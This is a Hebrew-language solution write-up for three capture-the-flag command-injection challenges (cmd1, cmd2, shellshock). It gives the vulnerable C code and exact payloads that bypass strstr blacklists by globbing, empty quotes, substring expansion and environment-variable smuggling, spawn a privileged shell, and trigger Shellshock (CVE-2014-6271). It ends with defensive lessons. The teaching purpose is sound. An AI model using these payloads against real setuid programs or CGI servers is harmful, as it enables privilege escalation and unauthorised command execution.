לדלג לתוכן

1.6 הזרקת פקודות פתרון

פתרון - command injection ועקיפת מסננים

כאן נעבור על הפתרון המלא של שלושת האתגרים, עם ה-payloads המדויקים והסבר למה כל אחד שורד את המסנן. הרעיון המשותף לכל שלושתם: יש פער בין מה שהמסנן רואה (מחרוזת גולמית) לבין מה שהמעטפת מבצעת בפועל (אחרי פרוש, ציטוט, גלוב והרחבה). אנחנו חיים בתוך הפער הזה.


פתרון תרגיל 1 - cmd1

נזכיר את המבנה של cmd1.c:

int filter(char *cmd) {
    int r = 0;
    r += strstr(cmd, "flag") != 0;
    r += strstr(cmd, "sh")   != 0;
    r += strstr(cmd, "tmp")  != 0;
    return r;
}
int main(int argc, char *argv[], char **envp) {
    putenv("PATH=/thisisnotapath");
    if (filter(argv[1])) return 0;
    system(argv[1]);
    return 0;
}

שני חסמים: הפקודה לא יכולה להכיל את הרצף flag (וגם לא sh/tmp), וה-PATH מושבת.

התמודדות עם ה-PATH: נשתמש בנתיב מוחלט /bin/cat במקום cat קצר, כך שהמעטפת לא צריכה לחפש ב-PATH.

התמודדות עם flag: נשתמש בגלוב כדי שהמעטפת תרכיב את שם הקובץ במקומנו. התו ? מתאים לכל תו בודד:

./cmd1 "/bin/cat fl?g"

בואו נוודא ששני המסננים מרוצים: המחרוזת /bin/cat fl?g לא מכילה את הרצף flag (יש ? באמצע), לא מכילה sh (יש cat, לא sh), ולא מכילה tmp. המעטפת, לעומת זאת, רואה fl?g, סורקת את התיקייה, מוצאת קובץ בשם flag ומחליפה את התבנית - ומריצה /bin/cat flag. הבינארי setuid, אז ה-cat רץ בהרשאות שמאפשרות לקרוא את הדגל.

חלופות שעובדות גם הן:

./cmd1 "/bin/cat fl''ag"     # empty single quote splits the word flag
./cmd1 "/bin/cat fl\"\"ag"   # same idea with an empty double quote
./cmd1 "PATH=/bin cat f*"    # in cmd1 the character = is allowed, so we set PATH locally

השורה האחרונה מנצלת פרט חשוב: ב-cmd1 (בניגוד ל-cmd2) התו = והמילה PATH מותרים, אז אפשר פשוט לתקן את ה-PATH בהשמה מקומית שתקפה רק לפקודה הזו, ואז cat הקצר יימצא. הגלוב f* שוב מסתיר את המילה flag.

למה זה עבד / איך להכליל: strstr() מחפש התאמה מדויקת ורציפה. כל טכניקה ששוברת את הרציפות של המילה האסורה (ציטוט ריק, גלוב) או מייצרת אותה בעקיפין - עוברת מתחת לרדאר. שיבוש PATH נעקף בקלות בנתיב מוחלט או בהשמה מקומית.


פתרון תרגיל 2 - cmd2

המבנה של cmd2.c:

int filter(char *cmd) {
    int r = 0;
    r += strstr(cmd, "=")      != 0;
    r += strstr(cmd, "PATH")   != 0;
    r += strstr(cmd, "export") != 0;
    r += strstr(cmd, "/")      != 0;
    r += strstr(cmd, "`")      != 0;
    r += strstr(cmd, "flag")   != 0;
    return r;
}
int main(int argc, char *argv[], char **envp) {
    putenv("PATH=/no_command_execution_directory");
    if (filter(argv[1])) return 0;
    printf("%s\n", argv[1]);
    system(argv[1]);
    return 0;
}

עכשיו חסומים גם /, גם =, גם PATH, גם export, גם backtick וגם flag. אי אפשר לכתוב נתיב מוחלט, אי אפשר לאתחל PATH. נראה שתי שיטות עצמאיות.

שיטה א - בניית התו / מתוך משתנה (עובד תחת bash)

המשתנה $PWD תמיד מכיל נתיב מוחלט שמתחיל ב-/, למשל /home/cmd2. תחת bash אפשר לחתוך ממנו רק את התו הראשון עם הרחבת תת-מחרוזת:

./cmd2 '${PWD:0:1}bin${PWD:0:1}cat *'

מה המעטפת עושה: ${PWD:0:1} מתרחב ל-/, אז המחרוזת כולה הופכת ל-/bin/cat *. הגלוב * מתרחב לכל הקבצים בתיקייה, כולל flag, אז זה קורא את הדגל.

נבדוק את המסנן: ${PWD:0:1}bin${PWD:0:1}cat * - אין בו / מפורש (רק אחרי ההרחבה), אין =, אין PATH, אין export, אין backtick, ואין את הרצף flag. עובר.

חלופה באותה שיטה - להשיג מעטפת אינטראקטיבית ואז לעבוד בחופש:

./cmd2 '${PWD:0:1}bin${PWD:0:1}sh'
# now we have /bin/sh with high permissions, and inside it we can freely write / and flag:
$ /bin/cat flag

אזהרה חשובה: הרחבת התת-מחרוזת ${VAR:offset:length} היא תכונה של bash. אם ה-/bin/sh במערכת הוא dash, זה ייכשל. לכן צריך שיטה שלא תלויה בזה.

שיטה ב - הזרקת משתנה סביבה מוכן מראש (עובד תמיד)

זו השיטה הנקייה והחזקה ביותר, והיא לא תלויה בסוג המעטפת. התובנה: המסנן בודק רק את argv[1]. הוא בכלל לא מסתכל על משתני הסביבה שאתם שולטים בהם. אז נבנה משתנה סביבה שמכיל את כל התווים האסורים, ונעביר לתוכנית רק את שמו:

# we type this in our login shell - the filter doesn't see this
export A=/bin/cat

# and we pass the program only the variable's name
./cmd2 '$A *'

התוכנית מריצה /bin/sh -c '$A *'. המעטפת מרחיבה את $A לערך שהכנו (/bin/cat), ואת * לכל הקבצים בתיקייה. התוצאה: /bin/cat *, שקורא את flag.

נבדוק את המסנן על מה שהוא כן רואה, כלומר על $A *: אין בו /, אין =, אין PATH, אין export, אין backtick, אין flag. כל התווים האסורים חבויים בתוך המשתנה, וההגדרה שלו נעשתה במעטפת שלנו, לא ב-argv. עובר בקלות, ולא משנה אם /bin/sh הוא bash או dash.

למה זה עבד / איך להכליל: מסנן שבודק רק ערוץ קלט אחד (כאן argv) עיוור לכל ערוץ אחר שהתוקף שולט בו (כאן הסביבה). זו תבנית חוזרת בעקיפת מסננים - תמיד לשאול "מה עוד מגיע לתהליך שהמסנן לא בודק?". בנוסף, בניית מחרוזות מהרחבות מעטפת (${PWD:0:1}, גלוב) מאפשרת לייצר כל תו גם כשהוא חסום בקלט הישיר.


פתרון תרגיל 3 - shellshock

המבנה של shellshock.c בקירוב:

int main() {
    setresuid(getegid(), getegid(), getegid());
    setresgid(getegid(), getegid(), getegid());
    system("/home/shellshock/bash -c 'echo shock_me'");
    return 0;
}

הבינארי מקבע את ההרשאות הגבוהות (כדי שיישמרו בתהליך הבן) ואז מריץ גרסת bash vulnerable ל-CVE-2014-6271 ששמורה בתיקייה. אנחנו לא מריצים את ה-bash הזה ישירות - הבינארי עושה זאת בשבילנו. מה שאנחנו שולטים בו הוא הסביבה שהתהליך יורש.

הרעיון: נזרע בסביבה משתנה עם payload בסגנון Shellshock, שהקוד הנגרר שלו קורא את הדגל. כשה-bash הvulnerable יתחיל, הוא יסרוק את הסביבה, יפרש את המשתנה כהגדרת פונקציה, וירוץ את הקוד הנגרר - בהרשאות שהבינארי קיבע.

ה-payload:

env x='() { :;}; /bin/cat flag' ./shellshock

או, אותו דבר בשני שלבים:

export x='() { :;}; /bin/cat flag'
./shellshock

בואו נפרק את המשתנה:

x='() { :;}; /bin/cat flag'
   |          |
   |          +--> the trailing code: runs immediately when the vulnerable bash starts
   +--> innocent function definition () { :; }

מה קורה בזמן ריצה, שלב אחר שלב:

1. We run ./shellshock with x planted in the environment.
2. The binary fixes high uid/gid (setresuid/setresgid).
3. It calls system("/home/shellshock/bash -c 'echo shock_me'").
4. system first runs /bin/sh -c "..." - this is dash, which is not vulnerable to Shellshock.
   dash ignores the variable x (it doesn't import functions this way) and passes it along.
5. dash runs the vulnerable /home/shellshock/bash, with x still in its environment.
6. The vulnerable bash scans the environment, sees that x starts with "() {", imports a function,
   and proceeds to run the trailing code: /bin/cat flag.
7. Because the permissions were fixed in step 2, cat runs with permissions that allow reading flag.

למה חייבים דווקא את ה-bash הvulnerable: ה-dash שמפעיל את השרשרת אינו vulnerable ל-Shellshock, ולכן הוא רק מעביר את x הלאה בלי להריץ כלום ממנו. רק ה-/home/shellshock/bash, שהוא גרסה ישנה עם הבאג בפרסור, מפרש את הקוד הנגרר ומריץ אותו. אילו הבינארי היה מריץ bash מתוקן, ה-payload היה נכשל - bash מתוקן מייבא את הפונקציה אבל לא מריץ את מה שנגרר אחריה.

למה זה עבד / איך להכליל: Shellshock הוא דוגמה מושלמת לכך שקלט "לא מהימן" יכול להגיע דרך ערוץ שאף אחד לא חשב עליו - משתני סביבה שעוברים לתת-תהליך. כל מקום שבו ערך שהתוקף שולט בו הופך למשתנה סביבה שמגיע ל-bash vulnerable (למשל כותרות HTTP ב-CGI) היה נקודת תקיפה. הלקח: לא רק argv ולא רק stdin הם קלט - גם הסביבה היא קלט, וגם היא צריכה להיחשב לא מהימנה.


הכללה - מה מחבר את שלושת האתגרים

  • האתגרים cmd1 ו-cmd2 מראים ששני מסנני רשימה שחורה, גם המחמיר שבהם, נשברים כי המעטפת יכולה לבטא כל כוונה בכמה צורות שונות. התיקון הנכון אינו להוסיף עוד מילים לרשימה, אלא לא להעביר קלט למעטפת בכלל - להשתמש ב-execve() עם ארגומנטים מפורשים.
  • האתגר shellshock מראה שגם כשאין מסנן בכלל, באג בפרסור של המעטפת עצמה יכול להפוך משתנה סביבה תמים לערוץ הרצת קוד.
  • החוט המשותף: תמיד תשאלו אילו ערוצי קלט מגיעים לתהליך - argv, stdin, משתני סביבה, קבצים - ואל תסמכו על אף אחד מהם. סינון הוא הגנה חלשה; הפרדה בין נתונים לקוד (בלי מעטפת) היא ההגנה האמיתית.